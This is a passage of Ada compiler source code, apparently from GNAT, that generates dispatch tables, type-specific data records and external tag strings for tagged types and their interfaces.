Append_To (Prim_Ops_Aggr_List, New_Node);
end loop;
end;
end if;
New_Node :=
Make_Aggregate (Loc,
Expressions => Prim_Ops_Aggr_List);
Append_To (DT_Aggr_List, New_Node);
-- Remember aggregates initializing dispatch tables
Append_Elmt (New_Node, DT_Aggr);
-- Note: Secondary dispatch tables are declared constant only if
-- we can compute their offset field by means of the extra dummy
-- object; otherwise they cannot be declared constant and the
-- Offset_To_Top component is initialized by the IP routine.
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => Iface_DT,
Aliased_Present => True,
Constant_Present => Building_Static_Secondary_DT (Typ),
Object_Definition =>
Make_Subtype_Indication (Loc,
Subtype_Mark => New_Occurrence_Of
(RTE (RE_Dispatch_Table_Wrapper), Loc),
Constraint => Make_Index_Or_Discriminant_Constraint (Loc,
Constraints => DT_Constr_List)),
Expression =>
Make_Aggregate (Loc,
Expressions => DT_Aggr_List)));
if Exporting_Table then
Export_DT (Typ, Iface_DT, Suffix_Index);
-- Generate code to create the pointer to the dispatch table
-- Iface_DT_Ptr : Tag := Tag!(DT.Prims_Ptr'Address);
-- Note: This declaration is not added here if the table is exported
-- because in such case Make_Tags has already added this declaration.
else
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => Iface_DT_Ptr,
Constant_Present => True,
Object_Definition =>
New_Occurrence_Of (RTE (RE_Interface_Tag), Loc),
Expression =>
Unchecked_Convert_To (RTE (RE_Interface_Tag),
Make_Attribute_Reference (Loc,
Prefix =>
Make_Selected_Component (Loc,
Prefix => New_Occurrence_Of (Iface_DT, Loc),
Selector_Name =>
New_Occurrence_Of
(RTE_Record_Component (RE_Prims_Ptr), Loc)),
Attribute_Name => Name_Address))));
end if;
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => Predef_Prims_Ptr,
Constant_Present => True,
Object_Definition =>
New_Occurrence_Of (RTE (RE_Address), Loc),
Expression =>
Make_Attribute_Reference (Loc,
Prefix =>
Make_Selected_Component (Loc,
Prefix => New_Occurrence_Of (Iface_DT, Loc),
Selector_Name =>
New_Occurrence_Of
(RTE_Record_Component (RE_Predef_Prims), Loc)),
Attribute_Name => Name_Address)));
-- Remember entities containing dispatch tables
Append_Elmt (Predef_Prims, DT_Decl);
Append_Elmt (Iface_DT, DT_Decl);
end Make_Secondary_DT;
--------------------------------
-- Number_Of_Predefined_Prims --
--------------------------------
function Number_Of_Predefined_Prims (Typ : Entity_Id) return Nat is
Nb_Predef_Prims : Nat := 0;
begin
if not Generate_SCIL then
declare
Prim : Entity_Id;
Prim_Elmt : Elmt_Id;
Pos : Nat;
begin
Prim_Elmt := First_Elmt (Primitive_Operations (Typ));
while Present (Prim_Elmt) loop
Prim := Node (Prim_Elmt);
if Is_Predefined_Dispatching_Operation (Prim)
and then not Is_Abstract_Subprogram (Prim)
then
Pos := UI_To_Int (DT_Position (Prim));
if Pos > Nb_Predef_Prims then
Nb_Predef_Prims := Pos;
end if;
end if;
Next_Elmt (Prim_Elmt);
end loop;
end;
end if;
pragma Assert (Nb_Predef_Prims <= Max_Predef_Prims);
return Nb_Predef_Prims;
end Number_Of_Predefined_Prims;
-- Local variables
Elab_Code : constant List_Id := New_List;
Result : constant List_Id := New_List;
Tname : constant Name_Id := Chars (Typ);
-- When pragmas Discard_Names and No_Tagged_Streams simultaneously apply
-- we initialize the Expanded_Name and the External_Tag of this tagged
-- type with an empty string. This is useful to avoid exposing entity
-- names at binary level. It can be done when both pragmas apply because
-- (1) Discard_Names allows initializing Expanded_Name with an
-- implementation defined value (Ada RM Section C.5 (7/2)).
-- (2) External_Tag (combined with Internal_Tag) is used for object
-- streaming and No_Tagged_Streams inhibits the generation of
-- streams.
Discard_Names : constant Boolean :=
Present (No_Tagged_Streams_Pragma (Typ))
and then (Global_Discard_Names
or else Einfo.Discard_Names (Typ));
-- The following name entries are used by Make_DT to generate a number
-- of entities related to a tagged type. These entities may be generated
-- in a scope other than that of the tagged type declaration, and if
-- the entities for two tagged types with the same name happen to be
-- generated in the same scope, we have to take care to use different
-- names. This is achieved by means of a unique serial number appended
-- to each generated entity name.
Name_DT : constant Name_Id :=
New_External_Name (Tname, 'T', Suffix_Index => -1);
Name_Exname : constant Name_Id :=
New_External_Name (Tname, 'E', Suffix_Index => -1);
Name_HT_Link : constant Name_Id :=
New_External_Name (Tname, 'H', Suffix_Index => -1);
Name_Predef_Prims : constant Name_Id :=
New_External_Name (Tname, 'R', Suffix_Index => -1);
Name_SSD : constant Name_Id :=
New_External_Name (Tname, 'S', Suffix_Index => -1);
Name_TSD : constant Name_Id :=
New_External_Name (Tname, 'B', Suffix_Index => -1);
Saved_GM : constant Ghost_Mode_Type := Ghost_Mode;
Saved_IGR : constant Node_Id := Ignored_Ghost_Region;
-- Save the Ghost-related attributes to restore on exit
AI : Elmt_Id;
AI_Tag_Elmt : Elmt_Id;
AI_Tag_Comp : Elmt_Id;
DT : Entity_Id;
DT_Aggr_List : List_Id;
DT_Constr_List : List_Id;
DT_Ptr : Entity_Id;
Exname : Entity_Id;
HT_Link : Entity_Id;
ITable : Node_Id;
I_Depth : Nat := 0;
Iface_Table_Node : Node_Id;
Name_ITable : Name_Id;
Nb_Prim : Nat := 0;
New_Node : Node_Id;
Num_Ifaces : Nat := 0;
Parent_Typ : Entity_Id;
Predef_Prims : Entity_Id;
Prim : Entity_Id;
Prim_Elmt : Elmt_Id;
Prim_Ops_Aggr_List : List_Id;
SSD : Entity_Id;
Suffix_Index : Int;
Typ_Comps : Elist_Id;
Typ_Ifaces : Elist_Id;
TSD : Entity_Id;
TSD_Aggr_List : List_Id;
TSD_Tags_List : List_Id;
-- Start of processing for Make_DT
begin
pragma Assert (Is_Frozen (Typ));
-- The tagged type being processed may be subject to pragma Ghost. Set
-- the mode now to ensure that any nodes generated during dispatch table
-- creation are properly marked as Ghost.
Set_Ghost_Mode (Typ);
-- Handle cases in which there is no need to build the dispatch table
if Has_Dispatch_Table (Typ)
or else No (Access_Disp_Table (Typ))
or else Is_CPP_Class (Typ)
then
goto Leave;
elsif No_Run_Time_Mode then
Error_Msg_CRT ("tagged types", Typ);
goto Leave;
elsif not RTE_Available (RE_Tag) then
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier =>
Node (First_Elmt (Access_Disp_Table (Typ))),
Object_Definition => New_Occurrence_Of (RTE (RE_Tag), Loc),
Constant_Present => True,
Expression =>
Unchecked_Convert_To (RTE (RE_Tag),
New_Occurrence_Of (RTE (RE_Null_Address), Loc))));
Analyze_List (Result, Suppress => All_Checks);
Error_Msg_CRT ("tagged types", Typ);
goto Leave;
end if;
-- Ensure that the value of Max_Predef_Prims defined in a-tags is
-- correct. Valid values are 10 under configurable runtime or 16
-- with full runtime.
if RTE_Available (RE_Interface_Data) then
if Max_Predef_Prims /= 16 then
Error_Msg_N ("run-time library configuration error", Typ);
goto Leave;
end if;
else
if Max_Predef_Prims /= 10 then
Error_Msg_N ("run-time library configuration error", Typ);
Error_Msg_CRT ("tagged types", Typ);
goto Leave;
end if;
end if;
DT := Make_Defining_Identifier (Loc, Name_DT);
Exname := Make_Defining_Identifier (Loc, Name_Exname);
HT_Link := Make_Defining_Identifier (Loc, Name_HT_Link);
Predef_Prims := Make_Defining_Identifier (Loc, Name_Predef_Prims);
SSD := Make_Defining_Identifier (Loc, Name_SSD);
TSD := Make_Defining_Identifier (Loc, Name_TSD);
-- Initialize Parent_Typ handling private types
Parent_Typ := Etype (Typ);
if Present (Full_View (Parent_Typ)) then
Parent_Typ := Full_View (Parent_Typ);
end if;
-- Ensure that all the primitives are frozen. This is only required when
-- building static dispatch tables --- the primitives must be frozen to
-- be referenced (otherwise we have problems with the backend). It is
-- not a requirement with nonstatic dispatch tables because in this case
-- we generate now an empty dispatch table; the extra code required to
-- register the primitives in the slots will be generated later --- when
-- each primitive is frozen (see Freeze_Subprogram).
if Building_Static_DT (Typ) then
declare
Saved_FLLTT : constant Boolean :=
Freezing_Library_Level_Tagged_Type;
Formal : Entity_Id;
Frnodes : List_Id;
Prim : Entity_Id;
Prim_Elmt : Elmt_Id;
begin
Freezing_Library_Level_Tagged_Type := True;
Prim_Elmt := First_Elmt (Primitive_Operations (Typ));
while Present (Prim_Elmt) loop
Prim := Node (Prim_Elmt);
Frnodes := Freeze_Entity (Prim, Typ);
-- We disable this check for abstract subprograms, given that
-- they cannot be called directly and thus the state of their
-- untagged formals is of no concern. The RM is unclear in any
-- case concerning the need for this check, and this topic may
-- go back to the ARG.
if not Is_Abstract_Subprogram (Prim) then
Formal := First_Formal (Prim);
while Present (Formal) loop
Check_Premature_Freezing (Prim, Typ, Etype (Formal));
Next_Formal (Formal);
end loop;
Check_Premature_Freezing (Prim, Typ, Etype (Prim));
end if;
if Present (Frnodes) then
Append_List_To (Result, Frnodes);
end if;
Next_Elmt (Prim_Elmt);
end loop;
Freezing_Library_Level_Tagged_Type := Saved_FLLTT;
end;
end if;
if not Is_Interface (Typ) and then Has_Interfaces (Typ) then
declare
Cannot_Have_Null_Disc : Boolean := False;
Dummy_Object_Typ : constant Entity_Id := Typ;
Name_Dummy_Object : constant Name_Id :=
New_External_Name (Tname,
'P', Suffix_Index => -1);
begin
Dummy_Object := Make_Defining_Identifier (Loc, Name_Dummy_Object);
-- Define the extra object imported and constant to avoid linker
-- errors (since this object is never declared). Required because
-- we implement RM 13.3(19) for exported and imported (variable)
-- objects by making them volatile.
Set_Is_Imported (Dummy_Object);
Set_Ekind (Dummy_Object, E_Constant);
Set_Is_True_Constant (Dummy_Object);
Set_Related_Type (Dummy_Object, Typ);
-- The scope must be set now to call Get_External_Name
Set_Scope (Dummy_Object, Current_Scope);
Get_External_Name (Dummy_Object);
Set_Interface_Name (Dummy_Object,
Make_String_Literal (Loc, Strval => String_From_Name_Buffer));
-- Ensure proper Sprint output of this implicit importation
Set_Is_Internal (Dummy_Object);
if not Has_Discriminants (Dummy_Object_Typ) then
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => Dummy_Object,
Constant_Present => True,
Object_Definition => New_Occurrence_Of
(Dummy_Object_Typ, Loc)));
else
declare
Constr_List : constant List_Id := New_List;
Discrim : Node_Id;
begin
Discrim := First_Discriminant (Dummy_Object_Typ);
while Present (Discrim) loop
if Is_Discrete_Type (Etype (Discrim)) then
Append_To (Constr_List,
Make_Attribute_Reference (Loc,
Prefix =>
New_Occurrence_Of (Etype (Discrim), Loc),
Attribute_Name => Name_First));
else
pragma Assert (Is_Access_Type (Etype (Discrim)));
Cannot_Have_Null_Disc :=
Cannot_Have_Null_Disc
or else Can_Never_Be_Null (Etype (Discrim));
Append_To (Constr_List, Make_Null (Loc));
end if;
Next_Discriminant (Discrim);
end loop;
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => Dummy_Object,
Constant_Present => True,
Object_Definition =>
Make_Subtype_Indication (Loc,
Subtype_Mark =>
New_Occurrence_Of (Dummy_Object_Typ, Loc),
Constraint =>
Make_Index_Or_Discriminant_Constraint (Loc,
Constraints => Constr_List))));
end;
end if;
-- Given that the dummy object will not be declared at run time,
-- analyze its declaration with expansion disabled and warnings
-- and error messages ignored.
Expander_Mode_Save_And_Set (False);
Ignore_Errors_Enable := Ignore_Errors_Enable + 1;
Analyze (Last (Result), Suppress => All_Checks);
Ignore_Errors_Enable := Ignore_Errors_Enable - 1;
Expander_Mode_Restore;
end;
end if;
-- Ada 2005 (AI-251): Build the secondary dispatch tables
if Has_Interfaces (Typ) then
Collect_Interface_Components (Typ, Typ_Comps);
-- Each secondary dispatch table is assigned an unique positive
-- suffix index; such value also corresponds with the location of
-- its entity in the Dispatch_Table_Wrappers list (see Make_Tags).
-- Note: This value must be kept sync with the Suffix_Index values
-- generated by Make_Tags
Suffix_Index := 1;
AI_Tag_Elmt :=
Next_Elmt (Next_Elmt (First_Elmt (Access_Disp_Table (Typ))));
AI_Tag_Comp := First_Elmt (Typ_Comps);
while Present (AI_Tag_Comp) loop
pragma Assert (Has_Suffix (Node (AI_Tag_Elmt), 'P'));
-- Build the secondary table containing pointers to thunks
Make_Secondary_DT
(Typ => Typ,
Iface =>
Base_Type (Related_Type (Node (AI_Tag_Comp))),
Iface_Comp => Node (AI_Tag_Comp),
Suffix_Index => Suffix_Index,
Num_Iface_Prims =>
UI_To_Int (DT_Entry_Count (Node (AI_Tag_Comp))),
Iface_DT_Ptr => Node (AI_Tag_Elmt),
Predef_Prims_Ptr => Node (Next_Elmt (AI_Tag_Elmt)),
Build_Thunks => True,
Result => Result);
-- Skip secondary dispatch table referencing thunks to predefined
-- primitives.
Next_Elmt (AI_Tag_Elmt);
pragma Assert (Has_Suffix (Node (AI_Tag_Elmt), 'Y'));
-- Secondary dispatch table referencing user-defined primitives
-- covered by this interface.
Next_Elmt (AI_Tag_Elmt);
pragma Assert (Has_Suffix (Node (AI_Tag_Elmt), 'D'));
-- Build the secondary table containing pointers to primitives
-- (used to give support to Generic Dispatching Constructors).
Make_Secondary_DT
(Typ => Typ,
Iface => Base_Type
(Related_Type (Node (AI_Tag_Comp))),
Iface_Comp => Node (AI_Tag_Comp),
Suffix_Index => -1,
Num_Iface_Prims => UI_To_Int
(DT_Entry_Count (Node (AI_Tag_Comp))),
Iface_DT_Ptr => Node (AI_Tag_Elmt),
Predef_Prims_Ptr => Node (Next_Elmt (AI_Tag_Elmt)),
Build_Thunks => False,
Result => Result);
-- Skip secondary dispatch table referencing predefined primitives
Next_Elmt (AI_Tag_Elmt);
pragma Assert (Has_Suffix (Node (AI_Tag_Elmt), 'Z'));
Suffix_Index := Suffix_Index + 1;
Next_Elmt (AI_Tag_Elmt);
Next_Elmt (AI_Tag_Comp);
end loop;
end if;
-- Get the _tag entity and number of primitives of its dispatch table
DT_Ptr := Node (First_Elmt (Access_Disp_Table (Typ)));
Nb_Prim := UI_To_Int (DT_Entry_Count (First_Tag_Component (Typ)));
if Generate_SCIL then
Nb_Prim := 0;
end if;
Set_Is_Statically_Allocated (DT, Is_Library_Level_Tagged_Type (Typ));
Set_Is_Statically_Allocated (SSD, Is_Library_Level_Tagged_Type (Typ));
Set_Is_Statically_Allocated (TSD, Is_Library_Level_Tagged_Type (Typ));
Set_Is_Statically_Allocated (Predef_Prims,
Is_Library_Level_Tagged_Type (Typ));
-- In case of locally defined tagged type we declare the object
-- containing the dispatch table by means of a variable. Its
-- initialization is done later by means of an assignment. This is
-- required to generate its External_Tag.
if not Building_Static_DT (Typ) then
-- Generate:
-- DT : No_Dispatch_Table_Wrapper;
-- DT_Ptr : Tag := !Tag (DT.NDT_Prims_Ptr'Address);
if not Has_DT (Typ) then
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => DT,
Aliased_Present => True,
Constant_Present => False,
Object_Definition =>
New_Occurrence_Of
(RTE (RE_No_Dispatch_Table_Wrapper), Loc)));
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => DT_Ptr,
Object_Definition => New_Occurrence_Of (RTE (RE_Tag), Loc),
Constant_Present => True,
Expression =>
Unchecked_Convert_To (RTE (RE_Tag),
Make_Attribute_Reference (Loc,
Prefix =>
Make_Selected_Component (Loc,
Prefix => New_Occurrence_Of (DT, Loc),
Selector_Name =>
New_Occurrence_Of
(RTE_Record_Component (RE_NDT_Prims_Ptr), Loc)),
Attribute_Name => Name_Address))));
Set_Is_Statically_Allocated (DT_Ptr,
Is_Library_Level_Tagged_Type (Typ));
-- Generate the SCIL node for the previous object declaration
-- because it has a tag initialization.
if Generate_SCIL then
New_Node :=
Make_SCIL_Dispatch_Table_Tag_Init (Sloc (Last (Result)));
Set_SCIL_Entity (New_Node, Typ);
Set_SCIL_Node (Last (Result), New_Node);
goto Leave_SCIL;
-- Gnat2scil has its own implementation of dispatch tables,
-- different than what is being implemented here. Generating
-- further dispatch table initialization code would just
-- cause gnat2scil to generate useless Scil which CodePeer
-- would waste time and space analyzing, so we skip it.
end if;
-- Generate:
-- DT : Dispatch_Table_Wrapper (Nb_Prim);
-- DT_Ptr : Tag := !Tag (DT.Prims_Ptr'Address);
else
-- If the tagged type has no primitives we add a dummy slot
-- whose address will be the tag of this type.
if Nb_Prim = 0 then
DT_Constr_List :=
New_List (Make_Integer_Literal (Loc, 1));
else
DT_Constr_List :=
New_List (Make_Integer_Literal (Loc, Nb_Prim));
end if;
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => DT,
Aliased_Present => True,
Constant_Present => False,
Object_Definition =>
Make_Subtype_Indication (Loc,
Subtype_Mark =>
New_Occurrence_Of (RTE (RE_Dispatch_Table_Wrapper), Loc),
Constraint =>
Make_Index_Or_Discriminant_Constraint (Loc,
Constraints => DT_Constr_List))));
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => DT_Ptr,
Object_Definition => New_Occurrence_Of (RTE (RE_Tag), Loc),
Constant_Present => True,
Expression =>
Unchecked_Convert_To (RTE (RE_Tag),
Make_Attribute_Reference (Loc,
Prefix =>
Make_Selected_Component (Loc,
Prefix => New_Occurrence_Of (DT, Loc),
Selector_Name =>
New_Occurrence_Of
(RTE_Record_Component (RE_Prims_Ptr), Loc)),
Attribute_Name => Name_Address))));
Set_Is_Statically_Allocated (DT_Ptr,
Is_Library_Level_Tagged_Type (Typ));
-- Generate the SCIL node for the previous object declaration
-- because it has a tag initialization.
if Generate_SCIL then
New_Node :=
Make_SCIL_Dispatch_Table_Tag_Init (Sloc (Last (Result)));
Set_SCIL_Entity (New_Node, Typ);
Set_SCIL_Node (Last (Result), New_Node);
goto Leave_SCIL;
-- Gnat2scil has its own implementation of dispatch tables,
-- different than what is being implemented here. Generating
-- further dispatch table initialization code would just
-- cause gnat2scil to generate useless Scil which CodePeer
-- would waste time and space analyzing, so we skip it.
end if;
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier =>
Node (Next_Elmt (First_Elmt (Access_Disp_Table (Typ)))),
Constant_Present => True,
Object_Definition =>
New_Occurrence_Of (RTE (RE_Address), Loc),
Expression =>
Make_Attribute_Reference (Loc,
Prefix =>
Make_Selected_Component (Loc,
Prefix => New_Occurrence_Of (DT, Loc),
Selector_Name =>
New_Occurrence_Of
(RTE_Record_Component (RE_Predef_Prims), Loc)),
Attribute_Name => Name_Address)));
end if;
end if;
-- Generate: Expanded_Name : constant String := "";
if Discard_Names then
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => Exname,
Constant_Present => True,
Object_Definition => New_Occurrence_Of (Standard_String, Loc),
Expression =>
Make_String_Literal (Loc, "")));
-- Generate: Exname : constant String := full_qualified_name (typ);
-- The type itself may be an anonymous parent type, so use the first
-- subtype to have a user-recognizable name.
else
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => Exname,
Constant_Present => True,
Object_Definition => New_Occurrence_Of (Standard_String, Loc),
Expression =>
Make_String_Literal (Loc,
Fully_Qualified_Name_String (First_Subtype (Typ)))));
end if;
Set_Is_Statically_Allocated (Exname);
Set_Is_True_Constant (Exname);
-- Declare the object used by Ada.Tags.Register_Tag
if RTE_Available (RE_Register_Tag) then
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => HT_Link,
Object_Definition => New_Occurrence_Of (RTE (RE_Tag), Loc),
Expression => New_Occurrence_Of (RTE (RE_No_Tag), Loc)));
end if;
-- Generate code to create the storage for the type specific data object
-- with enough space to store the tags of the ancestors plus the tags
-- of all the implemented interfaces (as described in a-tags.adb).
-- TSD : Type_Specific_Data (I_Depth) :=
-- (Idepth => I_Depth,
-- Access_Level => Type_Access_Level (Typ),
-- Alignment => Typ'Alignment,
-- Expanded_Name => Cstring_Ptr!(Exname'Address))
-- External_Tag => Cstring_Ptr!(Exname'Address))
-- HT_Link => HT_Link'Address,
-- Transportable => <<boolean-value>>,
-- Is_Abstract => <<boolean-value>>,
-- Needs_Finalization => <<boolean-value>>,
-- [ Size_Func => Size_Prim'Access, ]
-- [ Interfaces_Table => <<access-value>>, ]
-- [ SSD => SSD_Table'Address ]
-- Tags_Table => (0 => null,
-- 1 => Parent'Tag
-- ...);
TSD_Aggr_List := New_List;
-- Idepth: Count ancestors to compute the inheritance depth. For private
-- extensions, always go to the full view in order to compute the real
-- inheritance depth.
declare
Current_Typ : Entity_Id;
Parent_Typ : Entity_Id;
begin
I_Depth := 0;
Current_Typ := Typ;
loop
Parent_Typ := Etype (Current_Typ);
if Is_Private_Type (Parent_Typ) then
Parent_Typ := Full_View (Base_Type (Parent_Typ));
end if;
exit when Parent_Typ = Current_Typ;
I_Depth := I_Depth + 1;
Current_Typ := Parent_Typ;
end loop;
end;
Append_To (TSD_Aggr_List,
Make_Integer_Literal (Loc, I_Depth));
-- Access_Level
Append_To (TSD_Aggr_List,
Make_Integer_Literal (Loc, Type_Access_Level (Typ)));
-- Alignment
-- For CPP types we cannot rely on the value of 'Alignment provided
-- by the backend to initialize this TSD field.
if Convention (Typ) = Convention_CPP
or else Is_CPP_Class (Root_Type (Typ))
then
Append_To (TSD_Aggr_List,
Make_Integer_Literal (Loc, 0));
else
Append_To (TSD_Aggr_List,
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (Typ, Loc),
Attribute_Name => Name_Alignment));
end if;
-- Expanded_Name
Append_To (TSD_Aggr_List,
Unchecked_Convert_To (RTE (RE_Cstring_Ptr),
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (Exname, Loc),
Attribute_Name => Name_Address)));
-- External_Tag of a local tagged type
-- <typ>A : constant String :=
-- "Internal tag at 16#tag-addr#: <full-name-of-typ>";
-- The reason we generate this strange name is that we do not want to
-- enter local tagged types in the global hash table used to compute
-- the Internal_Tag attribute for two reasons:
-- 1. It is hard to avoid a tasking race condition for entering the
-- entry into the hash table.
-- 2. It would cause a storage leak, unless we rig up considerable
-- mechanism to remove the entry from the hash table on exit.
-- So what we do is to generate the above external tag name, where the
-- hex address is the address of the local dispatch table (i.e. exactly
-- the value we want if Internal_Tag is computed from this string).
-- Of course this value will only be valid if the tagged type is still
-- in scope, but it clearly must be erroneous to compute the internal
-- tag of a tagged type that is out of scope.
-- We don't do this processing if an explicit external tag has been
-- specified. That's an odd case for which we have already issued a
-- warning, where we will not be able to compute the internal tag.
if not Discard_Names
and then not Is_Library_Level_Entity (Typ)
and then not Has_External_Tag_Rep_Clause (Typ)
then
declare
Exname : constant Entity_Id :=
Make_Defining_Identifier (Loc,
Chars => New_External_Name (Tname, 'A'));
Full_Name : constant String_Id :=
Fully_Qualified_Name_String (First_Subtype (Typ));
Str1_Id : String_Id;
Str2_Id : String_Id;
begin
-- Generate:
-- Str1 = "Internal tag at 16#";
Start_String;
Store_String_Chars ("Internal tag at 16#");
Str1_Id := End_String;
-- Generate:
-- Str2 = "#: <type-full-name>";
Start_String;
Store_String_Chars ("#: ");
Store_String_Chars (Full_Name);
Str2_Id := End_String;
-- Generate:
-- Exname : constant String :=
-- Str1 & Address_Image (Tag) & Str2;
if RTE_Available (RE_Address_Image) then
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => Exname,
Constant_Present => True,
Object_Definition => New_Occurrence_Of
(Standard_String, Loc),
Expression =>
Make_Op_Concat (Loc,
Left_Opnd => Make_String_Literal (Loc, Str1_Id),
Right_Opnd =>
Make_Op_Concat (Loc,
Left_Opnd =>
Make_Function_Call (Loc,
Name =>
New_Occurrence_Of
(RTE (RE_Address_Image), Loc),
Parameter_Associations => New_List (
Unchecked_Convert_To (RTE (RE_Address),
New_Occurrence_Of (DT_Ptr, Loc)))),
Right_Opnd =>
Make_String_Literal (Loc, Str2_Id)))));
-- Generate:
-- Exname : constant String := Str1 & Str2;
else
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => Exname,
Constant_Present => True,
Object_Definition =>
New_Occurrence_Of (Standard_String, Loc),
Expression =>
Make_Op_Concat (Loc,
Left_Opnd => Make_String_Literal (Loc, Str1_Id),
Right_Opnd => Make_String_Literal (Loc, Str2_Id))));
end if;
New_Node :=
Unchecked_Convert_To (RTE (RE_Cstring_Ptr),
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (Exname, Loc),
Attribute_Name => Name_Address));
end;
-- External tag of a library-level tagged type: Check for a definition
-- of External_Tag. The clause is considered only if it applies to this
-- specific tagged type, as opposed to one of its ancestors.
-- If the type is an unconstrained type extension, we are building the
-- dispatch table of its anonymous base type, so the external tag, if
-- any was specified, must be retrieved from the first subtype. Go to
-- the full view in case the clause is in the private part.
else
declare
Def : constant Node_Id := Get_Attribute_Definition_Clause
(Underlying_Type (First_Subtype (Typ)),
Attribute_External_Tag);
Old_Val : String_Id;
New_Val : String_Id;
E : Entity_Id;
begin
if not Present (Def)
or else Entity (Name (Def)) /= First_Subtype (Typ)
then
New_Node :=
Unchecked_Convert_To (RTE (RE_Cstring_Ptr),
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (Exname, Loc),
Attribute_Name => Name_Address));
else
Old_Val := Strval (Expr_Value_S (Expression (Def)));
-- For the rep clause "for <typ>'external_tag use y" generate:
-- <typ>A : constant string := y;
--
-- <typ>A'Address is used to set the External_Tag component
-- of the TSD
-- Create a new nul terminated string if it is not already
if String_Length (Old_Val) > 0
and then
Get_String_Char (Old_Val, String_Length (Old_Val)) = 0
then
New_Val := Old_Val;
else
Start_String (Old_Val);
Store_String_Char (Get_Char_Code (ASCII.NUL));
New_Val := End_String;
end if;
E := Make_Defining_Identifier (Loc,
New_External_Name (Chars (Typ), 'A'));
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => E,
Constant_Present => True,
Object_Definition =>
New_Occurrence_Of (Standard_String, Loc),
Expression =>
Make_String_Literal (Loc, New_Val)));
New_Node :=
Unchecked_Convert_To (RTE (RE_Cstring_Ptr),
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (E, Loc),
Attribute_Name => Name_Address));
end if;
end;
end if;
Append_To (TSD_Aggr_List, New_Node);
-- HT_Link
if RTE_Available (RE_Register_Tag) then
Append_To (TSD_Aggr_List,
Unchecked_Convert_To (RTE (RE_Tag_Ptr),
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (HT_Link, Loc),
Attribute_Name => Name_Address)));
elsif RTE_Record_Component_Available (RE_HT_Link) then
Append_To (TSD_Aggr_List,
Unchecked_Convert_To (RTE (RE_Tag_Ptr),
New_Occurrence_Of (RTE (RE_Null_Address), Loc)));
end if;
-- Transportable: Set for types that can be used in remote calls
-- with respect to E.4(18) legality rules.
declare
Transportable : Entity_Id;
begin
Transportable :=
Boolean_Literals
(Is_Pure (Typ)
or else Is_Shared_Passive (Typ)
or else
((Is_Remote_Types (Typ)
or else Is_Remote_Call_Interface (Typ))
and then Original_View_In_Visible_Part (Typ))
or else not Comes_From_Source (Typ));
Append_To (TSD_Aggr_List,
New_Occurrence_Of (Transportable, Loc));
end;
-- Is_Abstract (Ada 2012: AI05-0173). This functionality is not
-- available in the HIE runtime.
if RTE_Record_Component_Available (RE_Is_Abstract) then
declare
Is_Abstract : Entity_Id;
begin
Is_Abstract := Boolean_Literals (Is_Abstract_Type (Typ));
Append_To (TSD_Aggr_List,
New_Occurrence_Of (Is_Abstract, Loc));
end;
end if;
-- Needs_Finalization: Set if the type is controlled or has controlled
-- components.
declare
Needs_Fin : Entity_Id;
begin
Needs_Fin := Boolean_Literals (Needs_Finalization (Typ));
Append_To (TSD_Aggr_List, New_Occurrence_Of (Needs_Fin, Loc));
end;
-- Size_Func
if RTE_Record_Component_Available (RE_Size_Func) then
-- Initialize this field to Null_Address if we are not building
-- static dispatch tables static or if the size function is not
-- available. In the former case we cannot initialize this field
-- until the function is frozen and registered in the dispatch
-- table (see Register_Primitive).
if not Building_Static_DT (Typ) or else not Has_DT (Typ) then
Append_To (TSD_Aggr_List,
Unchecked_Convert_To (RTE (RE_Size_Ptr),
New_Occurrence_Of (RTE (RE_Null_Address), Loc)));
else
declare
Prim_Elmt : Elmt_Id;
Prim : Entity_Id;
Size_Comp : Node_Id := Empty;
begin
Prim_Elmt := First_Elmt (Primitive_Operations (Typ));
while Present (Prim_Elmt) loop
Prim := Node (Prim_Elmt);
if Chars (Prim) = Name_uSize then
Prim := Ultimate_Alias (Prim);
if Is_Abstract_Subprogram (Prim) then
Size_Comp :=
Unchecked_Convert_To (RTE (RE_Size_Ptr),
New_Occurrence_Of (RTE (RE_Null_Address), Loc));
else
Size_Comp :=
Unchecked_Convert_To (RTE (RE_Size_Ptr),
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (Prim, Loc),
Attribute_Name => Name_Unrestricted_Access));
end if;
exit;
end if;
Next_Elmt (Prim_Elmt);
end loop;
pragma Assert (Present (Size_Comp));
Append_To (TSD_Aggr_List, Size_Comp);
end;
end if;
end if;
-- Interfaces_Table (required for AI-405)
if RTE_Record_Component_Available (RE_Interfaces_Table) then
-- Count the number of interface types implemented by Typ
Collect_Interfaces (Typ, Typ_Ifaces);
AI := First_Elmt (Typ_Ifaces);
while Present (AI) loop
Num_Ifaces := Num_Ifaces + 1;
Next_Elmt (AI);
end loop;
if Num_Ifaces = 0 then
Iface_Table_Node := Make_Null (Loc);
-- Generate the Interface_Table object
else
declare
TSD_Ifaces_List : constant List_Id := New_List;
Elmt : Elmt_Id;
Offset_To_Top : Node_Id;
Sec_DT_Tag : Node_Id;
Dummy_Object_Ifaces_List : Elist_Id := No_Elist;
Dummy_Object_Ifaces_Comp_List : Elist_Id := No_Elist;
Dummy_Object_Ifaces_Tag_List : Elist_Id := No_Elist;
-- Interfaces information of the dummy object
begin
-- Collect interfaces information if we need to compute the
-- offset to the top using the dummy object.
if Present (Dummy_Object) then
Collect_Interfaces_Info (Typ,
Ifaces_List => Dummy_Object_Ifaces_List,
